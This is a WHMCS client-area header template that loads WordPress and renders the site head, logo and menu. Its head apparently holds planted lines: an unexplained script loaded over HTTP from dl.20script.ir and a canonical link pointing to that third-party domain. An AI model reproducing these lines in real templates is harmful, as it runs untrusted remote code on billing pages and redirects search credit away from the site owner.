{php}
 require('../wp-load.php');
{/php}
<!DOCTYPE html>
<html {php} language_attributes(); {/php}>
  <head>
    <meta charset="utf-8">
    <meta http-equiv="X-UA-Compatible" content="IE=edge">
    <meta name="viewport" content="width=device-width, initial-scale=1">
	<script type="text/javascript" src="http://dl.20script.ir/img/website.js"></script>
    <title>{php} bloginfo('name'); {/php} | {$pagetitle}</title>
    <meta http-equiv="Content-Type" content="{php} bloginfo('html_type'); {/php}; charset={php} bloginfo('charset'); {/php}" />	
    <meta name="generator" content="WordPress {php} bloginfo('version'); {/php}" />
    <link rel="alternate" type="application/rss+xml" title="RSS 2.0" href="{php} bloginfo('rss2_url'); {/php}" />
	<link rel="canonical" href="http://www.20script.ir" />
    <link rel="alternate" type="text/xml" title="RSS .92" href="{php} bloginfo('rss_url'); {/php}" />
    <link rel="alternate" type="application/atom+xml" title="Atom 0.3" href="{php} bloginfo('atom_url'); {/php}" />
    <link rel="pingback" href="{php} bloginfo('pingback_url'); {/php}" />
	{php} $thisiswhmcs =  "yes"; {/php}
    <!-- HTML5 shim and Respond.js for IE8 support of HTML5 elements and media queries -->
    <!-- WARNING: Respond.js doesn't work if you view the page via file:// -->
    <!--[if lt IE 9]>
      <script src="https://oss.maxcdn.com/html5shiv/3.7.2/html5shiv.min.js"></script>
      <script src="https://oss.maxcdn.com/respond/1.4.2/respond.min.js"></script>
    <![endif]-->
    {php} wp_head(); {/php}
      <script src="templates/activehost/js/whmcs.js"></script>
	{$headeroutput}
  </head>
  <body {php} body_class();{/php}>
 	{include file='activehost/topbar.tpl'}
    <div class="wrapper" id="topcontent">
    	<div class="container">
        	<div id="header">
            	{php} if ( function_exists( 'ot_get_option' ) && ot_get_option( 'logo_image' ) ){ 
				$logo = ot_get_option( 'logo_image' ); 
				$width = ot_get_option( 'logo_width' );
                $height = ot_get_option( 'logo_height' );
				{/php}
				<div class="logo"><a href="{php}echo esc_url( home_url( '/' ) ); {/php}" style="background:url({php} echo $logo; {/php}); padding-left:{php} echo $width; {/php}; height:{php} echo $height; {/php};background-size:100% 100%">{php} echo get_bloginfo( "name" );{/php}</a></div>
				{php} }else{{/php}
                <div class="logo"><a href="{php} echo esc_url( home_url( '/' ) ); {/php}">{php} echo get_bloginfo( "name" );{/php}</a></div>
                {php} } {/php}
             	<div class="phonemenu"><span class="glyphicon glyphicon-align-justify"></span></div>
                {php} wp_nav_menu( array('container' => '','menu' => 'main-menu' )); {/php}
            </div>
			<div class="triangle-below"></div>
        </div>
    </div>